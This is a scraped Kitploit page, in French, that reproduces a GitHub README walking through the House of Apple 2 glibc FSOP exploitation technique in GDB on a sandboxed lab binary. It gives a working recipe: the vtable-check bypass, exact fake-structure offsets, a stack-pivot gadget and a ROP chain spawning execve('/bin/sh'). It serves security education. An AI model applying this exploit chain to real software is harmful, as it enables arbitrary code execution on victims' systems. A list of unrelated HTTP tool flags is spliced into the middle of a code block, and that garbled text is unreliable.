Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
house_of_apple_2 — Analyse interactive de la technique FSOP House of Apple 2 sous GDB avec glibc 2.43, accompagnée d'un bac à sable reproductible couvrant le contournement de vtable, le stack pivoting et le ROP. | Kitploit
Outils/GitHubGitHub/jazho76/house_of_apple_2
Criminalistique MémoireExploitationRétro-ingénierieShellcodeDébogueursArticles et RechercheApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubjazho76/house_of_apple_2
3110il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

house_of_apple_2

Analyse interactive de la technique FSOP House of Apple 2 sous GDB avec glibc 2.43, accompagnée d'un bac à sable reproductible couvrant le contournement de vtable, le stack pivoting et le ROP.

Voir le dépôt

Exploration de House of Apple 2 sur les glibc modernes

Ce dépôt est un terrain de jeu autonome inspiré du module File Struct Exploitation de pwn.college. Il n'introduit pas une nouvelle variante de House of Apple 2, il répond simplement à ma curiosité sur la manière dont la technique résiste sur les versions récentes de glibc et si elle reste une voie d'exploitation viable. Le document fournit une procédure pas à pas interactive sous GDB que les lecteurs peuvent suivre en parallèle du bac à sable pour développer une compréhension plus intuitive de la primitive. Toutes les expériences utilisent glibc 2.43, telle que packagée par Ubuntu 26.04 et Fedora 44 au moment de la rédaction.

File Stream Oriented Programming (FSOP). Il s'agit de manipuler les structures de flux de fichiers de glibc pour détourner le flux de contrôle. Une façon d'y parvenir consiste à corrompre le mécanisme de dispatch de la vtable de _IO_FILE_plus. Les glibc modernes valident cette vtable, donc l'approche évidente consistant à la remplacer par une adresse arbitraire ne fonctionne pas.

House of Apple 2, initialement introduite par Roderick, contourne cette restriction en utilisant une vtable _IO_FILE_plus valide pour atteindre la machinerie des flux de caractères larges, où une vtable secondaire est directement dispatchée sans validation de plage. Cela fournit une primitive d'appel arbitraire que nous pouvons escalader en un pivot de pile et une chaîne ROP.

Prérequis d'exploitation

Cette exploration suppose que nous pouvons écraser une structure FILE et que nous disposons à la fois d'une fuite de tas et d'une fuite de libc. Le binaire cible fournit déjà cela.

Environnement de bac à sable

Le bac à sable exécute Ubuntu 26.04 LTS, nous offrant un environnement moderne pour explorer la technique.

L'image inclut GDB, pwndbg, pwntools, ropper et tmux. Elle contient également un binaire cible avec un menu interactif pour invoquer des opérations de flux de fichiers telles que fopen, fread, fwrite et fclose. Cela nous donne un moyen pratique de manipuler les flux pendant le débogage et les tests d'idées.

Construisez et exécutez le bac à sable avec :``` ./build.sh ./run.sh

root@kitploit:~
## Exploration

Commençons par inspecter les structures `_IO_FILE` et `_IO_FILE_plus` :```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2 : 24;
    char _short_backupbuf[1];
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    struct _IO_FILE **_prevchain;
    int _mode;
    int _unused3;
    __uint64_t _total_written;
    char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
}

En termes pratiques, _IO_FILE_plus est un _IO_FILE avec un pointeur de vtable. Cela semble immédiatement intéressant : si nous pouvons contrôler ce pointeur, nous pourrions être en mesure de rediriger un appel indirect et détourner le flux de contrôle.

Inspection de la vtable du flux de fichier

Pour inspecter la vtable, examinons un pointeur FILE renvoyé par fopen.```c pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010 $4 = { file = { _flags = 0xfbad2480, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>, _fileno = 0x3, _flags2 = 0x0, _short_backupbuf = "", _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x37ecf0f0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x37ecf100, _freeres_list = 0x0, _freeres_buf = 0x0, _prevchain = 0x7f58a7f4b480 <_IO_list_all>, _mode = 0x0, _unused3 = 0x0, _total_written = 0x0, _unused2 = "\000\000\000\000\000\000\000" }, vtable = 0x7f58a7f49030 <_IO_file_jumps> }

root@kitploit:~
Le pointeur cible la table `_IO_file_jumps`.

![3](https://assets.kitploit.com/production/public/readmes/56272/9fe7069dbb47c87d81c704a23ff483a6c630d5506150361db4aefee1516d0423/054e7475018b9adcfdb102b7e142ea8ad09116b38787416fdc30f8cb2f209bfa-display-v1.webp)

Il s'agit d'un ensemble de 21 pointeurs de fonction. Les opérations sur les flux de fichiers sont distribuées via différentes entrées selon le chemin d'exécution.

### Suivre le chemin `fwrite`

Pour cette exploration, je vais me concentrer sur le chemin `fwrite`. Après avoir placé des points d'arrêt sur chaque fonction et appelé `fwrite`, le premier point d'arrêt que nous atteignons est `_IO_file_xsputn`.

![4](https://assets.kitploit.com/production/public/readmes/56272/f77a8ff4f3d548b46916a97897b811b5cfb650de4843184b6574bdac51e1c2d0/e7de50a63631e0e1b18e8aa0b2d0852b62457428b4be3936ea3ea6a776531329-display-v1.webp)

L'appel se produit à `fwrite+216`. Cela correspond au [code source de glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) : `_IO_sputn` est une macro qui effectue la distribution via la vtable, se résolvant en `_IO_file_xsputn` pour ce flux.```asm
   0x00007fd5181d362a <+202>:	mov    rdx,rcx
   0x00007fd5181d362d <+205>:	mov    rdi,rbx
   0x00007fd5181d3630 <+208>:	mov    QWORD PTR [rbp-0x30],r8
   0x00007fd5181d3634 <+212>:	mov    QWORD PTR [rbp-0x28],rcx
   0x00007fd5181d3638 <+216>:	call   QWORD PTR [rax+0x38]

Tentative de remplacement de la vtable

Pour une première tentative, écrasons le pointeur de vtable avec desired_func - 0x38 et plaçons un point d'arrêt à fwrite+216.```c pwndbg> p &win $3 = (<text variable, no debug info> *) 0x4019e1 pwndbg> p/x &win - 0x38 $4 = 0x4019a9 pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9 pwndbg> b *fwrite+216 Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

root@kitploit:~
![5](https://assets.kitploit.com/production/public/readmes/56272/68d9bb8c66bf4088af2741eebea1ecb9b56d047f77983d068d26c9566a97e533/1c9d22964dbe7735df03440da27a86e739989f7cf62bd6e126cecf1083b2cf4b-display-v1.webp)

L'exécution s'interrompt avant d'atteindre le point d'arrêt. L'erreur suggère que glibc valide le pointeur de vtable avant d'effectuer l'appel indirect. Inspectons la trace de pile pour voir où cela se produit.

`fwrite` atteint `_IO_vtable_check` qui rejette le pointeur de vtable falsifié.

![6](https://assets.kitploit.com/production/public/readmes/56272/5d88a98e9a1a20ab8c510aad7374f24884a05f363bd46f94d0d05cad513c7c0a/6974f1daec533bb453c59cff614c11f59c29bb1f85a0d23235e05c22433c0b48-display-v1.webp)

L'implémentation contient un mécanisme permettant d'accepter des vtables étrangères, mais il n'est pas sous notre contrôle. Le code pertinent est disponible dans [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).

### Comprendre la validation de la vtable

Au moment où `_IO_vtable_check` est appelée, il est déjà trop tard, la validation de la vtable a échoué. La trame `IO_validate_vtable` plus précoce dans la trace de pile est la partie intéressante, inspectons-la plutôt.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.

GDB ne peut pas résoudre IO_validate_vtable en tant que symbole. En examinant le source, on peut voir qu'il est inliné dans fwrite.```asm 0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables> 0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8] 0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8] 0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28] 0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20] 0x00007fd5181d3613 <+179>: mov rdx,rax 0x00007fd5181d3616 <+182>: sub rdx,rdi 0x00007fd5181d3619 <+185>: cmp rdx,0x92f 0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>

root@kitploit:~
Un pointeur de vtable n'est accepté que s'il se situe dans l'intervalle `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. On ne peut donc pas simplement le faire pointer n'importe où. Cela reste néanmoins une région assez vaste contenant plusieurs tables de saut, ce qui nous donne matière à explorer.

L'intervalle valide commence comme suit :

![7](https://assets.kitploit.com/production/public/readmes/56272/a44872f4cc95b7607ed0abe8cfe35f7a6eae6be8bbb5a5d017e693b9c67bf87f/4a82dee7de96ab2a558a6a37688145328eb42a0e2c4dbbe74267a08049d1832c-display-v1.webp)

## House of Apple 2

Nous comprenons désormais le mécanisme de base et sa principale contrainte : la vtable de `_IO_FILE_plus` doit pointer quelque part à l'intérieur de la région de vtables valide de glibc. Cela bloque l'approche évidente, mais ne ferme pas complètement la porte.

House of Apple 2 contourne cela en atteignant une seconde vtable via la machinerie des flux à caractères larges. Cette seconde vtable n'est pas validée de la même manière. Suivons ce chemin dans GDB et voyons comment les pièces s'articulent.

### La machinerie des flux à caractères larges

Dans `_IO_FILE`, il existe un champ `_wide_data` pointant vers une structure `_IO_wide_data`. Cette structure possède sa propre vtable.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
    wchar_t *_IO_read_ptr;
    wchar_t *_IO_read_end;
    wchar_t *_IO_read_base;
    wchar_t *_IO_write_base;
    wchar_t *_IO_write_ptr;
    wchar_t *_IO_write_end;
    wchar_t *_IO_buf_base;
    wchar_t *_IO_buf_end;
    wchar_t *_IO_save_base;
    wchar_t *_IO_backup_base;
    wchar_t *_IO_save_end;
    __mbstate_t _IO_state;
    __mbstate_t _IO_last_state;
    struct _IO_codecvt _codecvt;
    wchar_t _shortbuf[1];
    const struct _IO_jump_t *_wide_vtable;
}

Sa disposition ressemble beaucoup à _IO_FILE. Elle fait partie du mécanisme de la glibc pour la gestion des flux de caractères larges.

Le chemin que nous voulons passe par _IO_wfile_overflow, qui peut éventuellement appeler _IO_wdoallocbuf.```c wint_t _IO_wfile_overflow (FILE f, wint_t wch) { if (f->_flags & _IO_NO_WRITES) / SET ERROR / { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } / If currently reading or no buffer allocated. / if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL) { / Allocate a buffer if needed. */ if (f->_wide_data->_IO_write_base == NULL) { _IO_wdoallocbuf (f); // <- this is it _IO_free_wbackup_area (f);

root@kitploit:~
  if (f->_IO_write_base == NULL)
    {
      _IO_doallocbuf (f);
      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }
  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
	     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
  else
{
  ...
root@kitploit:~
- **`--no-verify`** : Ignore la vérification du certificat SSL (utile pour les certificats auto-signés)
- **`--timeout`** : Définit le délai d'expiration de la requête en secondes (par défaut : 10)
- **`--user-agent`** : Définit un User-Agent personnalisé pour les requêtes
- **`--proxy`** : Achemine les requêtes via un proxy (par exemple, `http://127.0.0.1:8080`)
- **`--cookie`** : Ajoute des cookies personnalisés aux requêtes
- **`--header`** : Ajoute des en-têtes personnalisés aux requêtes
- **`--data`** : Envoie des données dans le corps de la requête (pour les requêtes POST)
- **`--method`** : Spécifie la méthode HTTP (GET, POST, PUT, DELETE, etc.)
- **`--follow-redirects`** : Suit les redirections HTTP
- **`--max-redirects`** : Définit le nombre maximal de redirections à suivre
- **`--output`** : Enregistre la sortie dans un fichier
- **`--verbose`** : Active la sortie détaillée
- **`--silent`** : Supprime toute la sortie sauf les résultats
- **`--threads`** : Définit le nombre de threads pour les requêtes concurrentes
- **`--delay`** : Définit un délai entre les requêtes
- **`--retry`** : Définit le nombre de tentatives en cas d'échec des requêtes
- **`--random-agent`** : Utilise un User-Agent aléatoire pour chaque requête
- **`--tor`** : Achemine les requêtes via le réseau Tor
- **`--check-tor`** : Vérifie si Tor est correctement configuré
- **`--update`** : Met à jour l'outil vers la dernière version
- **`--version`** : Affiche la version de l'outil
- **`--help`** : Affiche le message d'aide```c
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

_IO_WDOALLOCATE est une autre macro de dispatch, cette fois opérant via la vtable large. L'appel indirect devient clair dans le désassemblage :

8

Voici la partie intéressante. À _IO_wdoallocbuf+44, glibc charge le pointeur _wide_vtable depuis _wide_data. À _IO_wdoallocbuf+55, il appelle le pointeur de fonction situé à _wide_vtable + 0x68. Cette fois, il n'y a aucune validation de plage.

Connexion des deux vtables

Maintenant, les pièces commencent à s'assembler. _IO_wfile_overflow appartient à _IO_wfile_jumps qui existe à l'intérieur de la plage valide acceptée par la première vérification de vtable. À partir de là, l'exécution peut atteindre un autre appel indirect via la _wide_vtable non validée.

9```c pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f $5 = 0x1

root@kitploit:~
L'idée générale est maintenant la suivante :

1. Définir la vtable de `_IO_FILE_plus` de sorte que l'emplacement pertinent se résolve en `_IO_wfile_overflow`.
2. Faire pointer `_wide_data` vers une structure `_IO_wide_data` forgée dont `_wide_vtable` vaut `desired_function - 0x68`.

Avant d'essayer l'exécution suivante, nous devons satisfaire quelques conditions pour atteindre `_IO_wdoallocbuf`.

Dans `_IO_wfile_overflow` :

- `_flags` ne doit pas contenir `_IO_NO_WRITES` (`0x0008`)
- `_wide_data->_IO_write_base` doit être `NULL`

Dans `_IO_wdoallocbuf` :

- `fp->_wide_data->_IO_buf_base` doit être `NULL`
- `_flags` ne doit pas contenir `_IO_UNBUFFERED` (`0x0002`)

Il y a un détail supplémentaire. `_IO_FILE` contient un champ `_lock` que glibc déréférence lors de l'acquisition et de la libération du verrou du flux. Nous devons le faire pointer vers une région inscriptible initialisée à zéro de 0x10 octets, sinon l'opération sur le flux plantera avant d'atteindre notre appel.

## Détournement du flux de contrôle

Tout est en place, essayons à nouveau. Cette fois, la vérification de plage externe passe, et le premier appel indirect est dispatché vers `_IO_wfile_overflow`.

![10](https://assets.kitploit.com/production/public/readmes/56272/ac32a8252e44fb068beb5085065aee6b148ebf163a2179bab9ef783d5477b3fc/5b6e27654b01b75a42bae6a0f34afc9d2c67ec404e6197bf71e342b7e0d5142b-display-v1.webp)

La structure forgée satisfait également les conditions dans `_IO_wfile_overflow`. L'exécution se poursuit dans `_IO_wdoallocbuf`. Finalement, les vérifications dans `_IO_wdoallocbuf` passent, et l'appel indirect à `_IO_wdoallocbuf+55` atterrit dans notre fonction `win`.

Pendant que nous y sommes, il vaut la peine d'examiner l'état des registres immédiatement avant l'appel indirect final.

![13](https://assets.kitploit.com/production/public/readmes/56272/a6d258852d60c0eb618f4f0cfbad41fecb059a29911fe27108f9e60815de1a4c/cd546ef8394716136bb68531344e1dfa44102310e56df39bce87221555780d1f-display-v1.webp)

`RDI` et `RDX` pointent tous deux vers le début de la structure `FILE` contrôlée. Nous ne contrôlons pas directement les premier et troisième registres d'arguments, mais nous contrôlons la mémoire vers laquelle ils pointent. Excellent !

## Construction de la primitive

La primitive est implémentée dans [`./exp/house_of_apple2.py`](https://github.com/jazho76/house_of_apple_2/blob/main/exp/house_of_apple2.py). L'approche directe consisterait à placer un `_IO_FILE_plus` complet, un `_IO_wide_data` complet et une fausse wide vtable séparée l'un après l'autre. Cela fonctionnerait, mais nécessiterait également un tampon assez volumineux.

Nous pouvons réduire la taille de la charge utile en les faisant se chevaucher.

Le faux `_IO_wide_data` commence à l'offset `0x08`, à l'intérieur du faux `_IO_FILE_plus`. Cela fonctionne car la plupart des champs impliqués dans le chevauchement peuvent rester à zéro. Pratiquement, `_wide_data->_IO_write_base` et `_wide_data->_IO_buf_base` se chevauchent avec `_IO_write_base` et `_IO_buf_base` dans la structure `FILE`, et les deux paires doivent être `NULL`.

Les parties importantes de la disposition sont :

| Offset de la charge utile | Interprétation `_IO_FILE_plus` | Interprétation `_IO_wide_data`    | Valeur                                            |
| ------------------------: | ------------------------------ | --------------------------------- | ------------------------------------------------- |
|                    `0x00` | `_flags`                       | -                                 | Ne doit pas définir `_IO_NO_WRITES` ou `_IO_UNBUFFERED` |
|                    `0x08` | `_IO_read_ptr`                 | Début du faux `_IO_wide_data`     | Zéro                                              |
|                    `0x20` | `_IO_write_base`               | `_IO_write_base`                  | `NULL`                                            |
|                    `0x38` | `_IO_buf_base`                 | `_IO_buf_base`                    | `NULL`                                            |
|                    `0x78` | `_old_offset`                  | Début de la fausse wide vtable    | Données de vtable chevauchées                     |
|                    `0x88` | `_lock`                        | -                                 | Pointeur vers une valeur nulle en mémoire inscriptible |
|                    `0xa0` | `_wide_data`                   | -                                 | `base + 0x08`                                     |
|                    `0xd8` | vtable de `_IO_FILE_plus`      | -                                 | Position qui dispatche vers `_IO_wfile_overflow`  |
|                    `0xe0` | -                              | Entrée de la fausse wide vtable à `+0x68` | Adresse de la fonction arbitraire                 |
|                    `0xe8` | -                              | `_wide_vtable`                    | `base + 0x78`                                     |

Les deux dernières entrées sont la clé de l'appel arbitraire. `_wide_vtable` pointe en arrière dans la charge utile à l'offset `0x78`. Lorsque `_IO_wdoallocbuf` dispatche via `_wide_vtable + 0x68`, il lit le pointeur de fonction stocké à l'offset `0xe0` :```text
wide_vtable       = base + 0x78
wide_vtable+0x68  = base + 0xe0

C'est ici que nous plaçons l'adresse de la fonction que nous voulons appeler.

La vtable externe dépend de l'opération utilisée pour déclencher la primitive. Pour fwrite, la répartition se fait via l'emplacement à +0x38, donc le pointeur est ajusté jusqu'à ce que cet emplacement corresponde à _IO_wfile_overflow. L'implémentation prend également en charge fread et fclose en appliquant les décalages de répartition correspondants.

Avec cette disposition, un seul tampon compact contient la fausse structure FILE, les _IO_wide_data qui se chevauchent, la fausse vtable wide et le pointeur de fonction final.

Stack pivoting

À ce stade, nous disposons d'une primitive d'appel arbitraire, mais notre contrôle sur les registres est limité. L'étape suivante consiste à pivoter la pile vers une mémoire contrôlée et à démarrer une chaîne ROP.

À __push___start_context+63, il existe un gadget de pivot de pile utile mov rsp, rdx; ret.```asm pwndbg> disass __push___start_context Dump of assembler code for function __push___start_context: 0x00007f46729440d0 <+0>: endbr64 0x00007f46729440d4 <+4>: rdsspq rcx 0x00007f46729440d9 <+9>: mov rdx,rsp 0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0] 0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8] 0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8] 0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0] 0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8] 0x00007f46729440fb <+43>: saveprevssp 0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54> 0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context> 0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8] 0x00007f467294410b <+59>: saveprevssp 0x00007f467294410f <+63>: mov rsp,rdx 0x00007f4672944112 <+66>: ret End of assembler dump.

root@kitploit:~
Nous savons déjà que `RDX` pointe vers le début de notre structure `FILE` contrôlée au moment de l'appel arbitraire. Si nous appelons ce gadget, `RSP` se déplace directement dans notre fausse structure et l'exécution se poursuit à partir des valeurs qui y sont stockées. Cela devrait nous donner le début d'une chaîne ROP.

## ROP

Un détail : la chaîne ROP chevauche la mémoire avec la fausse structure `FILE`, donc les contraintes de champs de `_IO_wdoallocbuf` s'appliquent toujours. Le premier qword chevauche `_flags`, ce qui signifie que sa valeur ne doit pas définir `_IO_NO_WRITES` (`0x8`) ni `_IO_UNBUFFERED` (`0x2`). Notre premier gadget doit donc avoir une adresse dont l'octet de poids faible a ces bits à zéro.

Le gadget `ret` à `_nl_archive_subfreeres+96` devrait faire l'affaire. Ce n'est pas une instruction `ret` réellement présente dans le code original à cette frontière, mais c'est un gadget valide en milieu d'instruction à cette adresse décalée. Son octet de poids faible est `0x00`, donc placer l'adresse dans `_flags` ne définit ni `_IO_NO_WRITES` ni `_IO_UNBUFFERED`.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│     0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret

Nous avons encore deux trous dans la chaîne car _IO_write_base et _IO_buf_base doivent rester NULL. Nous pouvons néanmoins rendre ces emplacements utiles en les consommant comme valeurs nulles pour les gadgets pop précédents.

Enfin, nous ne pouvons pas écraser _lock, situé à l'offset 0x88. Il nous reste donc 17 qwords pour la chaîne ROP inline, ce qui est plus que suffisant pour obtenir le contrôle total du processus.

La disposition ROP dans ./exp/ace.py est :``` 0x00: _nl_archive_subfreeres+96 # pointer to ret instruction # with least significant byte as 0x00 0x08: pop rdi gadget 0x10: "/bin/sh" string in libc 0x18: pop rsi gadget 0x20: 0x0000000000000000 # _IO_write_base as NULL 0x50: address to execve # call execve("/bin/sh", NULL)

root@kitploit:~
![14](https://assets.kitploit.com/production/public/readmes/56272/4a03fae3012721e96b1db4803bfa74b6d1279e27e5952a60228437ea8fc1ccf4/caabf1480a7ae14355e2e465334ae1f0c572069d804356e9952f20f6513f85a3-display-v1.webp)

Nous avons maintenant obtenu une exécution de code arbitraire.

## Pour aller plus loin

- [House of Apple: a new glibc IO attack method (2)](https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/), la publication originale de House of Apple 2 par Roderick.
- [`fsop-finder`](https://github.com/xf1les/fsop-finder), qui a identifié indépendamment le chemin `_IO_wdoallocbuf` en explorant les chemins FSOP modernes.
- [Angry-FSROP](https://blog.kylebot.net/2022/10/22/angry-FSROP/), pour une approche assistée par outil de recherche de chemins de flux de contrôle.
- [Deep Dive into FSOP](https://niftic.ca/posts/fsop/), pour une couverture plus large des internes de FILE, des techniques connues et d'autres chemins intéressants.

## Conclusion

House of Apple 2 montre comment une vtable glibc valide peut atteindre la machinerie des caractères larges et effectuer un dispatch via une vtable secondaire non validée. Le même chemin reste reproductible sur la version glibc 2.43 utilisée par le sandbox. Bien que les dispositions, les offsets et les gadgets puissent changer entre les versions, l'idée sous-jacente de flux de contrôle s'applique toujours.
Télécharger l’outil